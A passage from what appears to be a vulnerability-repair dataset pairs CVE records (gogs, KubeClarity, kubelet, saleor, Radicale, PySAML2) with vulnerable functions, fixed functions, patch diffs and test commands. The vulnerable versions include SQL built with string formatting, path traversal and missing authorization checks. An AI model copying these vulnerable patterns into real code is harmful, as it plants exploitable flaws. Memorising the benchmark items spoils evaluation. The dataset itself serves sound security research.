Flask, request, abort\nfrom html import escape"}, {"id": "fix_py_313_2", "commit": "24f43aa", "file_path": "upload/server.py", "start_line": "53", "end_line": "124", "snippet": "def uploadimage():\n    #print(request.json)   \n    if not request.json or 'image' not in request.json:\n        print(\"No data sent or no image provided. Aborting with 400.\")\n        abort(400)\n             \n    im_b64 = request.json['image']\n    img_bytes = base64.b64decode(im_b64.encode('utf-8'))\n    img = Image.open(io.BytesIO(img_bytes))\n\n    file_ending = img.format\n    print(f\"File has filetype {file_ending}.\")\n\n    if file_ending == \"JPEG\":\n        file_ending = \".jpg\"\n    else:\n        file_ending = \".png\"\n\n    one_hundred_million = 100000000\n    lots_of_nine = 999999999\n\n    file_name = None\n\n    f = open(\"all_files\", \"r\")\n    all_files = ast.literal_eval(f.read())\n    f.close()\n\n    attempt = 0\n\n    while file_name == None or file_name in all_files:\n        if attempt <= 1000:\n            file_name = random.randint(one_hundred_million, lots_of_nine)\n\n            file_name = base64.b64encode(str(file_name).encode(\"utf-8\")).decode(\"utf-8\")\n\n            print(f\"Trying new file name: {file_name}\")\n        else:\n            attempt = 0\n            one_hundred_million += 100000\n            lots_of_nine += 1000000\n\n            while one_hundred_million >= lots_of_nine:\n                one_hundred_million -= 10000\n\n            one_hundred_million -= 10000\n\n    print(f\"Successful file name: {file_name}\")\n\n    title = request.json[\"title\"]\n    print(\"First 9 chars of title: \"+str(title[:9]))\n    print(\"Title from 10th char: \"+str(title[9::]))\n    if title[:9] == \"[PAUSED] \":\n        title = title[9::]\n\n    singer = request.json[\"singer\"]\n    album = request.json[\"album\"]\n    \n    file_db_entry = [{\"title\": title, \"singer\": singer, \"album\": album}, file_name, file_ending]\n    print(f\"New db entry: {file_db_entry}\")\n\n    all_files.append(file_db_entry)\n\n    f = open(\"all_files\", \"w\")\n    f.write(str(all_files))\n    f.close()\n\n    file_name = file_name + file_ending\n\n    image = img.save(file_name)\n    print(f\"Saved {file_name} from {file_db_entry}.\")\n    print(f\"Returning {file_db_entry}.\")\n    return escape({\"entry\": file_db_entry})"}, {"id": "fix_py_313_3", "commit": "24f43aa", "file_path": "module/connect_to_server.py", "start_line": "19", "end_line": "49", "snippet": "def get(image_file, domain, title, singer, album):\n    import base64\n    import json    \n    import ast\n    from html import unescape         \n\n    import requests\n\n    api = f'http://{domain}:7873/bGVhdmVfcmlnaHRfbm93'\n\n    with open(image_file, \"rb\") as f:\n        im_bytes = f.read()        \n    im_b64 = base64.b64encode(im_bytes).decode(\"utf8\")\n\n    headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}\n\n    status = try_get_cached(domain, {\"title\": title, \"singer\": singer, \"album\": album})\n    status = ast.literal_eval(str(status))\n\n    if status == None:\n        print(\"Cached version not found. Uploading image with song metadata.\")\n        payload = json.dumps({\"image\": im_b64, \"title\": title, \"singer\": singer, \"album\": album})\n        response = requests.post(api, data=payload, headers=headers)\n\n        data = unescape(response.text[\"entry\"])\n    else:\n        data = status\n\n    # data = [{\"title\": title, \"singer\": singer, \"album\": album}, file_name, file_ending]\n\n    return data"}], "vul_patch": "--- a/upload/server.py\n+++ b/upload/server.py\n@@ -5,4 +5,5 @@\n import ast\n from PIL import Image\n \n-from flask import Flask, request, jsonify, abort\n+from flask import Flask, request, abort\n+from html import escape\n\n--- a/upload/server.py\n+++ b/upload/server.py\n@@ -69,4 +69,4 @@\n     image = img.save(file_name)\n     print(f\"Saved {file_name} from {file_db_entry}.\")\n     print(f\"Returning {file_db_entry}.\")\n-    return {\"entry\": file_db_entry}\n+    return escape({\"entry\": file_db_entry})\n\n--- a/module/connect_to_server.py\n+++ b/module/connect_to_server.py\n@@ -1,7 +1,8 @@\n def get(image_file, domain, title, singer, album):\n     import base64\n     import json    \n-    import ast               \n+    import ast\n+    from html import unescape         \n \n     import requests\n \n@@ -21,7 +22,7 @@\n         payload = json.dumps({\"image\": im_b64, \"title\": title, \"singer\": singer, \"album\": album})\n         response = requests.post(api, data=payload, headers=headers)\n \n-        data = response.text[\"data\"]\n+        data = unescape(response.text[\"entry\"])\n     else:\n         data = status\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-2024", "cve_description": "OS Command Injection in GitHub repository gogs/gogs prior to 0.12.11.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/gogs/gogs", "patch_url": ["https://github.com/gogs/gogs/commit/15d0d6a94be0098a8227b6b95bdf2daed105ec41"], "programing_language": "Go", "vul_func": [{"id": "vul_go_17_1", "commit": "0f8c71d", "file_path": "internal/db/repo_editor.go", "start_line": 488, "end_line": 496, "snippet": "func isRepositoryGitPath(path string) bool {\n\treturn strings.HasSuffix(path, \".git\") ||\n\t\tstrings.Contains(path, \".git/\") ||\n\t\tstrings.Contains(path, `.git\\`) ||\n\t\t// Windows treats \".git.\" the same as \".git\"\n\t\tstrings.HasSuffix(path, \".git.\") ||\n\t\tstrings.Contains(path, \".git./\") ||\n\t\tstrings.Contains(path, `.git.\\`)\n}"}], "fix_func": [{"id": "fix_go_17_1", "commit": "15d0d6a", "file_path": "internal/db/repo_editor.go", "start_line": 490, "end_line": 499, "snippet": "func isRepositoryGitPath(path string) bool {\n\tpath = strings.ToLower(path)\n\treturn strings.HasSuffix(path, \".git\") ||\n\t\tstrings.Contains(path, \".git/\") ||\n\t\tstrings.Contains(path, `.git\\`) ||\n\t\t// Windows treats \".git.\" the same as \".git\"\n\t\tstrings.HasSuffix(path, \".git.\") ||\n\t\tstrings.Contains(path, \".git./\") ||\n\t\tstrings.Contains(path, `.git.\\`)\n}"}], "vul_patch": "--- a/internal/db/repo_editor.go\n+++ b/internal/db/repo_editor.go\n@@ -1,4 +1,5 @@\n func isRepositoryGitPath(path string) bool {\n+\tpath = strings.ToLower(path)\n \treturn strings.HasSuffix(path, \".git\") ||\n \t\tstrings.Contains(path, \".git/\") ||\n \t\tstrings.Contains(path, `.git\\`) ||\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-2024:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gogs\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestIsRepositoryGitPath$ gogs.io/gogs/internal/db\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-2024:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/gogs\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(Test_isRepositoryGitPath)$' gogs.io/gogs/internal/db\n"}
{"cve_id": "CVE-2024-39909", "cve_description": "KubeClarity is a tool for detection and management of Software Bill Of Materials (SBOM) and vulnerabilities of container images and filesystems. A time/boolean SQL Injection is present in the following resource `/api/applicationResources` via the following parameter `packageID`. As it can be seen in backend/pkg/database/id_view.go, while building the SQL Query the `fmt.Sprintf` function is used to build the query string without the input having first been subjected to any validation. This vulnerability is fixed in 2.23.1.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/openclarity/kubeclarity", "patch_url": ["https://github.com/openclarity/kubeclarity/commit/1d1178840703a72d9082b7fc4aea0a3326c5d294"], "programing_language": "Go", "vul_func": [{"id": "vul_go_99_1", "commit": "5f6b411", "file_path": "backend/pkg/database/id_view.go", "start_line": 57, "end_line": 108, "snippet": "func (i *IDsViewHandler) GetIDs(params GetIDsParams, idsShouldMatch bool) ([]string, error) {\n\tids := []string{}\n\n\tif len(params.FilterIDs) == 0 {\n\t\t// nothing to filter by, so return nil so that the caller knows\n\t\t// the difference between a query wasn't made, and there were\n\t\t// no results\n\t\treturn nil, nil\n\t}\n\n\tlookupIDColumnName := getIDViewColumnNameByIDType(params.LookupIDType)\n\n\t// we will use Session(&gorm.Session{}) here so every call to the handler will start from scratch\n\ttx := i.IDsView.\n\t\tSession(&gorm.Session{}).\n\t\tSelect(\"distinct \" + lookupIDColumnName)\n\n\tfilterIDColumnName := getIDViewColumnNameByIDType(params.FilterIDType)\n\n\tif idsShouldMatch {\n\t\tfor _, id := range params.FilterIDs {\n\t\t\t// for each OR filter we need to verify that lookup id column is not null to avoid failing during Find\n\t\t\ttx.Or(fmt.Sprintf(\"%s = '%s' AND %s is not null\", filterIDColumnName, id,\n\t\t\t\tlookupIDColumnName))\n\t\t}\n\t} else {\n\t\tfor _, id := range params.FilterIDs {\n\t\t\ttx.Not(filterIDColumnName+\" = ?\", id)\n\t\t}\n\t\t// after we filter out all ids need to verify that lookup id column is not null to avoid failing during Find\n\t\ttx.Where(lookupIDColumnName + \" is not null\")\n\t}\n\n\t// Verify that query will return at least one result.\n\tvar count int64\n\tif err := tx.Count(&count).Error; err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to count IDs: %v\", err)\n\t}\n\tif count <= 0 {\n\t\t// No need to run query, but return empty list of strings\n\t\t// because there are no results, not nil\n\t\tlog.Debugf(\"no IDs found. pararms=%+v\", params)\n\t\treturn ids, nil\n\t}\n\n\t// Run query.\n\tif err := tx.Find(&ids).Error; err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get IDs: %v\", err)\n\t}\n\n\treturn ids, nil\n}"}], "fix_func": [{"id": "fix_go_99_1", "commit": "1d11788", "file_path": "backend/pkg/database/id_view.go", "start_line": 57, "end_line": 108, "snippet": "func (i *IDsViewHandler) GetIDs(params GetIDsParams, idsShouldMatch bool) ([]string, error) {\n\tids := []string{}\n\n\tif len(params.FilterIDs) == 0 {\n\t\t// nothing to filter by, so return nil so that the caller knows\n\t\t// the difference between a query wasn't made, and there were\n\t\t// no results\n\t\treturn nil, nil\n\t}\n\n\tlookupIDColumnName := getIDViewColumnNameByIDType(params.LookupIDType)\n\n\t// we will use Session(&gorm.Session{}) here so every call to the handler will start from scratch\n\ttx := i.IDsView.\n\t\tSession(&gorm.Session{}).\n\t\tSelect(\"distinct \" + lookupIDColumnName)\n\n\tfilterIDColumnName := getIDViewColumnNameByIDType(params.FilterIDType)\n\n\tif idsShouldMatch {\n\t\tfor _, id := range params.FilterIDs {\n\t\t\t// for each OR filter we need to verify that lookup id column is not null to avoid failing during Find\n\t\t\ttx.Or(\"? = ? AND ? is not null\", filterIDColumnName, id,\n\t\t\t\tlookupIDColumnName)\n\t\t}\n\t} else {\n\t\tfor _, id := range params.FilterIDs {\n\t\t\ttx.Not(filterIDColumnName+\" = ?\", id)\n\t\t}\n\t\t// after we filter out all ids need to verify that lookup id column is not null to avoid failing during Find\n\t\ttx.Where(lookupIDColumnName + \" is not null\")\n\t}\n\n\t// Verify that query will return at least one result.\n\tvar count int64\n\tif err := tx.Count(&count).Error; err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to count IDs: %v\", err)\n\t}\n\tif count <= 0 {\n\t\t// No need to run query, but return empty list of strings\n\t\t// because there are no results, not nil\n\t\tlog.Debugf(\"no IDs found. pararms=%+v\", params)\n\t\treturn ids, nil\n\t}\n\n\t// Run query.\n\tif err := tx.Find(&ids).Error; err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to get IDs: %v\", err)\n\t}\n\n\treturn ids, nil\n}"}], "vul_patch": "--- a/backend/pkg/database/id_view.go\n+++ b/backend/pkg/database/id_view.go\n@@ -20,8 +20,8 @@\n \tif idsShouldMatch {\n \t\tfor _, id := range params.FilterIDs {\n \t\t\t// for each OR filter we need to verify that lookup id column is not null to avoid failing during Find\n-\t\t\ttx.Or(fmt.Sprintf(\"%s = '%s' AND %s is not null\", filterIDColumnName, id,\n-\t\t\t\tlookupIDColumnName))\n+\t\t\ttx.Or(\"? = ? AND ? is not null\", filterIDColumnName, id,\n+\t\t\t\tlookupIDColumnName)\n \t\t}\n \t} else {\n \t\tfor _, id := range params.FilterIDs {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-10220", "cve_description": "The Kubernetes kubelet component allows arbitrary command execution via specially crafted gitRepo volumes.This issue affects kubelet: through 1.28.11, from 1.29.0 through 1.29.6, from 1.30.0 through 1.30.2.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/kubernetes/kubernetes", "patch_url": ["https://github.com/kubernetes/kubernetes/commit/1ab06efe92d8e898ca1931471c9533ce94aba29b"], "programing_language": "Go", "vul_func": [{"id": "vul_go_1_1", "commit": "8dbeaa5", "file_path": "pkg/volume/git_repo/git_repo.go", "start_line": 254, "end_line": 265, "snippet": "func validateVolume(src *v1.GitRepoVolumeSource) error {\n\tif err := validateNonFlagArgument(src.Repository, \"repository\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Revision, \"revision\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Directory, \"directory\"); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_1_1", "commit": "1ab06ef", "file_path": "pkg/volume/git_repo/git_repo.go", "start_line": 254, "end_line": 271, "snippet": "func validateVolume(src *v1.GitRepoVolumeSource) error {\n\tif err := validateNonFlagArgument(src.Repository, \"repository\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Revision, \"revision\"); err != nil {\n\t\treturn err\n\t}\n\tif err := validateNonFlagArgument(src.Directory, \"directory\"); err != nil {\n\t\treturn err\n\t}\n\tif (src.Revision != \"\") && (src.Directory != \"\") {\n\t\tcleanedDir := filepath.Clean(src.Directory)\n\t\tif strings.Contains(cleanedDir, \"/\") || (strings.Contains(cleanedDir, \"\\\\\")) {\n\t\t\treturn fmt.Errorf(\"%q is not a valid directory, it must not contain a directory separator\", src.Directory)\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/volume/git_repo/git_repo.go\n+++ b/pkg/volume/git_repo/git_repo.go\n@@ -8,5 +8,11 @@\n \tif err := validateNonFlagArgument(src.Directory, \"directory\"); err != nil {\n \t\treturn err\n \t}\n+\tif (src.Revision != \"\") && (src.Directory != \"\") {\n+\t\tcleanedDir := filepath.Clean(src.Directory)\n+\t\tif strings.Contains(cleanedDir, \"/\") || (strings.Contains(cleanedDir, \"\\\\\")) {\n+\t\t\treturn fmt.Errorf(\"%q is not a valid directory, it must not contain a directory separator\", src.Directory)\n+\t\t}\n+\t}\n \treturn nil\n }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-10220:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/kubernetes\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^TestPlugin$ k8s.io/kubernetes/pkg/volume/git_repo", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-10220:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/kubernetes\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestPlugin|TestCanSupport)$' k8s.io/kubernetes/pkg/volume/git_repo"}
{"cve_id": "CVE-2022-0932", "cve_description": "Missing Authorization in GitHub repository saleor/saleor prior to 3.1.2.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/saleor/saleor", "patch_url": ["https://github.com/saleor/saleor/commit/521dfd6394f3926a77c60d8633c058e16d0f916d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_192_1", "commit": "035bf70", "file_path": "saleor/graphql/account/types.py", "start_line": 364, "end_line": 375, "snippet": "        def _resolve_orders(orders):\n            requester = get_user_or_app_from_context(info.context)\n            if not requester.has_perm(OrderPermissions.MANAGE_ORDERS):\n                orders = list(\n                    filter(lambda order: order.status != OrderStatus.DRAFT, orders)\n                )\n\n            return create_connection_slice(\n                orders, info, kwargs, OrderCountableConnection\n            )\n\n        return OrdersByUserLoader(info.context).load(root.id).then(_resolve_orders)"}], "fix_func": [{"id": "fix_py_192_1", "commit": "521dfd6", "file_path": "saleor/graphql/account/types.py", "start_line": 364, "end_line": 379, "snippet": "        def _resolve_orders(orders):\n            requester = get_user_or_app_from_context(info.context)\n            if not requester.has_perm(OrderPermissions.MANAGE_ORDERS):\n                # allow fetch requestor orders (except drafts)\n                if root == info.context.user:\n                    orders = list(\n                        filter(lambda order: order.status != OrderStatus.DRAFT, orders)\n                    )\n                else:\n                    raise PermissionDenied()\n\n            return create_connection_slice(\n                orders, info, kwargs, OrderCountableConnection\n            )\n\n        return OrdersByUserLoader(info.context).load(root.id).then(_resolve_orders)"}], "vul_patch": "--- a/saleor/graphql/account/types.py\n+++ b/saleor/graphql/account/types.py\n@@ -1,9 +1,13 @@\n         def _resolve_orders(orders):\n             requester = get_user_or_app_from_context(info.context)\n             if not requester.has_perm(OrderPermissions.MANAGE_ORDERS):\n-                orders = list(\n-                    filter(lambda order: order.status != OrderStatus.DRAFT, orders)\n-                )\n+                # allow fetch requestor orders (except drafts)\n+                if root == info.context.user:\n+                    orders = list(\n+                        filter(lambda order: order.status != OrderStatus.DRAFT, orders)\n+                    )\n+                else:\n+                    raise PermissionDenied()\n \n             return create_connection_slice(\n                 orders, info, kwargs, OrderCountableConnection\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-8747", "cve_description": "The multifilesystem storage backend in Radicale before 1.1 allows remote attackers to read or write to arbitrary files via a crafted component name.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/Unrud/Radicale", "patch_url": ["https://github.com/Unrud/Radicale/commit/bcaf452e516c02c9bed584a73736431c5e8831f1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_252_1", "commit": "b4b3d51", "file_path": "radicale/storage/multifilesystem.py", "start_line": 48, "end_line": 58, "snippet": "    def write(self):\n        self._create_dirs()\n        for component in self.components:\n            text = ical.serialize(\n                self.tag, self.headers, [component] + self.timezones)\n            name = (\n                component.name if sys.version_info[0] >= 3 else\n                component.name.encode(filesystem.FILESYSTEM_ENCODING))\n            filesystem_path = os.path.join(self._filesystem_path, name)\n            with filesystem.open(filesystem_path, \"w\") as fd:\n                fd.write(text)"}, {"id": "vul_py_252_2", "commit": "b4b3d51", "file_path": "radicale/storage/multifilesystem.py", "start_line": 64, "end_line": 67, "snippet": "    def remove(self, name):\n        filesystem_path = os.path.join(self._filesystem_path, name)\n        if os.path.exists(filesystem_path):\n            os.remove(filesystem_path)"}], "fix_func": [{"id": "fix_py_252_1", "commit": "bcaf452", "file_path": "radicale/storage/multifilesystem.py", "start_line": 48, "end_line": 63, "snippet": "    def write(self):\n        self._create_dirs()\n        for component in self.components:\n            text = ical.serialize(\n                self.tag, self.headers, [component] + self.timezones)\n            name = (\n                component.name if sys.version_info[0] >= 3 else\n                component.name.encode(filesystem.FILESYSTEM_ENCODING))\n            if not pathutils.is_safe_filesystem_path_component(name):\n                log.LOGGER.debug(\n                    \"Can't tranlate name safely to filesystem, \"\n                    \"skipping component: %s\", name)\n                continue\n            filesystem_path = os.path.join(self._filesystem_path, name)\n            with filesystem.open(filesystem_path, \"w\") as fd:\n                fd.write(text)"}, {"id": "fix_py_252_2", "commit": "bcaf452", "file_path": "radicale/storage/multifilesystem.py", "start_line": 69, "end_line": 77, "snippet": "    def remove(self, name):\n        if not pathutils.is_safe_filesystem_path_component(name):\n            log.LOGGER.debug(\n                \"Can't tranlate name safely to filesystem, \"\n                \"skipping component: %s\", name)\n            return\n        filesystem_path = os.path.join(self._filesystem_path, name)\n        if os.path.exists(filesystem_path):\n            os.remove(filesystem_path)"}], "vul_patch": "--- a/radicale/storage/multifilesystem.py\n+++ b/radicale/storage/multifilesystem.py\n@@ -6,6 +6,11 @@\n             name = (\n                 component.name if sys.version_info[0] >= 3 else\n                 component.name.encode(filesystem.FILESYSTEM_ENCODING))\n+            if not pathutils.is_safe_filesystem_path_component(name):\n+                log.LOGGER.debug(\n+                    \"Can't tranlate name safely to filesystem, \"\n+                    \"skipping component: %s\", name)\n+                continue\n             filesystem_path = os.path.join(self._filesystem_path, name)\n             with filesystem.open(filesystem_path, \"w\") as fd:\n                 fd.write(text)\n\n--- a/radicale/storage/multifilesystem.py\n+++ b/radicale/storage/multifilesystem.py\n@@ -1,4 +1,9 @@\n     def remove(self, name):\n+        if not pathutils.is_safe_filesystem_path_component(name):\n+            log.LOGGER.debug(\n+                \"Can't tranlate name safely to filesystem, \"\n+                \"skipping component: %s\", name)\n+            return\n         filesystem_path = os.path.join(self._filesystem_path, name)\n         if os.path.exists(filesystem_path):\n             os.remove(filesystem_path)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-5390", "cve_description": "PySAML2 before 5.0.0 does not check that the signature in a SAML document is enveloped and thus signature wrapping is effective, i.e., it is affected by XML Signature Wrapping (XSW). The signature information and the node/object that is signed can be in different places and thus the signature verification will succeed, but the wrong data will be used. This specifically affects the verification of assertion that have been signed.", "cwe_info": {"CWE-347": {"name": "Improper Verification of Cryptographic Signature", "description": "The product does not verify, or incorrectly verifies, the cryptographic signature for data."}}, "repo": "https://github.com/IdentityPython/pysaml2", "patch_url": ["https://github.com/IdentityPython/pysaml2/commit/5e9d5acbcd8ae45c4e736ac521fd2df5b1c62e25"], "programing_language": "Python", "vul_func": [{"id": "vul_py_422_1", "commit": "324656e", "file_path": "src/saml2/sigver.py", "start_line": 1431, "end_line": 1506, "snippet": "    def _check_signature(self, decoded_xml, item, node_name=NODE_NAME, origdoc=None, id_attr='', must=False, only_valid_cert=False, issuer=None):\n        try:\n            _issuer = item.issuer.text.strip()\n        except AttributeError:\n            _issuer = None\n\n        if _issuer is None:\n            try:\n                _issuer = issuer.text.strip()\n            except AttributeError:\n                _issuer = None\n\n        # More trust in certs from metadata then certs in the XML document\n        if self.metadata:\n            try:\n                _certs = self.metadata.certs(_issuer, 'any', 'signing')\n            except KeyError:\n                _certs = []\n            certs = []\n\n            for cert in _certs:\n                if isinstance(cert, six.string_types):\n                    content = pem_format(cert)\n                    tmp = make_temp(content,\n                                    suffix=\".pem\",\n                                    decode=False,\n                                    delete_tmpfiles=self.delete_tmpfiles)\n                    certs.append(tmp)\n                else:\n                    certs.append(cert)\n        else:\n            certs = []\n\n        if not certs and not self.only_use_keys_in_metadata:\n            logger.debug('==== Certs from instance ====')\n            certs = [\n                make_temp(content=pem_format(cert),\n                          suffix=\".pem\",\n                          decode=False,\n                          delete_tmpfiles=self.delete_tmpfiles)\n                for cert in cert_from_instance(item)\n            ]\n        else:\n            logger.debug('==== Certs from metadata ==== %s: %s ====', _issuer, certs)\n\n        if not certs:\n            raise MissingKey(_issuer)\n\n        verified = False\n        last_pem_file = None\n\n        for pem_fd in certs:\n            try:\n                last_pem_file = pem_fd.name\n                if self.verify_signature(\n                        decoded_xml,\n                        pem_fd.name,\n                        node_name=node_name,\n                        node_id=item.id,\n                        id_attr=id_attr):\n                    verified = True\n                    break\n            except XmlsecError as exc:\n                logger.error('check_sig: %s', exc)\n                pass\n            except Exception as exc:\n                logger.error('check_sig: %s', exc)\n                raise\n\n        if verified or only_valid_cert:\n            if not self.cert_handler.verify_cert(last_pem_file):\n                raise CertificateError('Invalid certificate!')\n        else:\n            raise SignatureError('Failed to verify signature')\n\n        return item"}], "fix_func": [{"id": "fix_py_422_1", "commit": "5e9d5acbcd8ae45c4e736ac521fd2df5b1c62e25", "file_path": "src/saml2/sigver.py", "start_line": 1431, "end_line": 1555, "snippet": "    def _check_signature(self, decoded_xml, item, node_name=NODE_NAME, origdoc=None, id_attr='', must=False, only_valid_cert=False, issuer=None):\n        try:\n            _issuer = item.issuer.text.strip()\n        except AttributeError:\n            _issuer = None\n\n        if _issuer is None:\n            try:\n                _issuer = issuer.text.strip()\n            except AttributeError:\n                _issuer = None\n\n        # More trust in certs from metadata then certs in the XML document\n        if self.metadata:\n            try:\n                _certs = self.metadata.certs(_issuer, 'any', 'signing')\n            except KeyError:\n                _certs = []\n            certs = []\n\n            for cert in _certs:\n                if isinstance(cert, six.string_types):\n                    content = pem_format(cert)\n                    tmp = make_temp(content,\n                                    suffix=\".pem\",\n                                    decode=False,\n                                    delete_tmpfiles=self.delete_tmpfiles)\n                    certs.append(tmp)\n                else:\n                    certs.append(cert)\n        else:\n            certs = []\n\n        if not certs and not self.only_use_keys_in_metadata:\n            logger.debug('==== Certs from instance ====')\n            certs = [\n                make_temp(content=pem_format(cert),\n                          suffix=\".pem\",\n                          decode=False,\n                          delete_tmpfiles=self.delete_tmpfiles)\n                for cert in cert_from_instance(item)\n            ]\n        else:\n            logger.debug('==== Certs from metadata ==== %s: %s ====', _issuer, certs)\n\n        if not certs:\n            raise MissingKey(_issuer)\n\n        # saml-core section \"5.4 XML Signature Profile\" defines constrains on the\n        # xmldsig-core facilities. It explicitly dictates that enveloped signatures\n        # are the only signatures allowed. This mean that:\n        # * Assertion/RequestType/ResponseType elements must have an ID attribute\n        # * signatures must have a single Reference element\n        # * the Reference element must have a URI attribute\n        # * the URI attribute contains an anchor\n        # * the anchor points to the enclosing element's ID attribute\n        references = item.signature.signed_info.reference\n        signatures_must_have_a_single_reference_element = len(references) == 1\n        the_Reference_element_must_have_a_URI_attribute = (\n            signatures_must_have_a_single_reference_element\n            and hasattr(references[0], \"uri\")\n        )\n        the_URI_attribute_contains_an_anchor = (\n            the_Reference_element_must_have_a_URI_attribute\n            and references[0].uri.startswith(\"#\")\n            and len(references[0].uri) > 1\n        )\n        the_anchor_points_to_the_enclosing_element_ID_attribute = (\n            the_URI_attribute_contains_an_anchor\n            and references[0].uri == \"#{id}\".format(id=item.id)\n        )\n        validators = {\n            \"signatures must have a single reference element\": (\n                signatures_must_have_a_single_reference_element\n            ),\n            \"the Reference element must have a URI attribute\": (\n                the_Reference_element_must_have_a_URI_attribute\n            ),\n            \"the URI attribute contains an anchor\": (\n                the_URI_attribute_contains_an_anchor\n            ),\n            \"the anchor points to the enclosing element ID attribute\": (\n                the_anchor_points_to_the_enclosing_element_ID_attribute\n            ),\n        }\n        if not all(validators.values()):\n            error_context = {\n                \"message\": \"Signature failed to meet constraints on xmldsig\",\n                \"validators\": validators,\n                \"item ID\": item.id,\n                \"reference URI\": item.signature.signed_info.reference[0].uri,\n                \"issuer\": _issuer,\n                \"node name\": node_name,\n                \"xml document\": decoded_xml,\n            }\n            raise SignatureError(error_context)\n\n        verified = False\n        last_pem_file = None\n\n        for pem_fd in certs:\n            try:\n                last_pem_file = pem_fd.name\n                if self.verify_signature(\n                        decoded_xml,\n                        pem_fd.name,\n                        node_name=node_name,\n                        node_id=item.id,\n                        id_attr=id_attr):\n                    verified = True\n                    break\n            except XmlsecError as exc:\n                logger.error('check_sig: %s', exc)\n                pass\n            except Exception as exc:\n                logger.error('check_sig: %s', exc)\n                raise\n\n        if verified or only_valid_cert:\n            if not self.cert_handler.verify_cert(last_pem_file):\n                raise CertificateError('Invalid certificate!')\n        else:\n            raise SignatureError('Failed to verify signature')\n\n        return item"}], "vul_patch": "--- a/src/saml2/sigver.py\n+++ b/src/saml2/sigver.py\n@@ -46,6 +46,55 @@\n         if not certs:\n             raise MissingKey(_issuer)\n \n+        # saml-core section \"5.4 XML Signature Profile\" defines constrains on the\n+        # xmldsig-core facilities. It explicitly dictates that enveloped signatures\n+        # are the only signatures allowed. This mean that:\n+        # * Assertion/RequestType/ResponseType elements must have an ID attribute\n+        # * signatures must have a single Reference element\n+        # * the Reference element must have a URI attribute\n+        # * the URI attribute contains an anchor\n+        # * the anchor points to the enclosing element's ID attribute\n+        references = item.signature.signed_info.reference\n+        signatures_must_have_a_single_reference_element = len(references) == 1\n+        the_Reference_element_must_have_a_URI_attribute = (\n+            signatures_must_have_a_single_reference_element\n+            and hasattr(references[0], \"uri\")\n+        )\n+        the_URI_attribute_contains_an_anchor = (\n+            the_Reference_element_must_have_a_URI_attribute\n+            and references[0].uri.startswith(\"#\")\n+            and len(references[0].uri) > 1\n+        )\n+        the_anchor_points_to_the_enclosing_element_ID_attribute = (\n+            the_URI_attribute_contains_an_anchor\n+            and references[0].uri == \"#{id}\".format(id=item.id)\n+        )\n+        validators = {\n+            \"signatures must have a single reference element\": (\n+                signatures_must_have_a_single_reference_element\n+      